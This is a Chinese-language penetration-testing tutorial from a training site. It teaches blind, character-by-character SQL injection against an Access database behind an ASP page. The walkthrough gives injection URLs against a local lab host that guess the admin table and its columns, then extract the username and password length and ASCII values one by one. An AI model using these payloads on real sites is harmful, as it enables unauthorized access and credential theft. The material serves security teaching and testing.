1. 首页
  2. 渗透测试

[原创]WEB安全第四章SQL注入篇02access+asp 逐字猜解法

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第四章SQL注入篇02 access+asp 逐字猜解法

1、判断注入

and 1=1

and 1=2

2、猜表

页面返回正常 说明 表存在

http://127.0.0.1:99/shownews.asp?id=110 and exists (select * from admin)

3、猜列

http://127.0.0.1:99/shownews.asp?id=110 and exists (select username from admin)

http://127.0.0.1:99/shownews.asp?id=110 and exists (select password from admin)

4、猜数据长度

查询字段的长度

http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 len(username) from admin)=8

等于8就是确定数据的长度 也可以使用大于(>)小于(<)个人认为 等于(=)最好确定长度

查询数据asccii码

mid() 截取位置
asc() ascii码

第一个长度的ascii码长度 页面返回正常

http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,1,1)) from admin)=97

http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,2,1)) from admin)=100

http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(password,1,1)) from admin)=100

猜解完之后 把ascii码 转换过来 并接 就是username字段的的数据,其他字段也是这样。

97的字符为 a 100的字符为d 并接起来就是ad

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/179.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息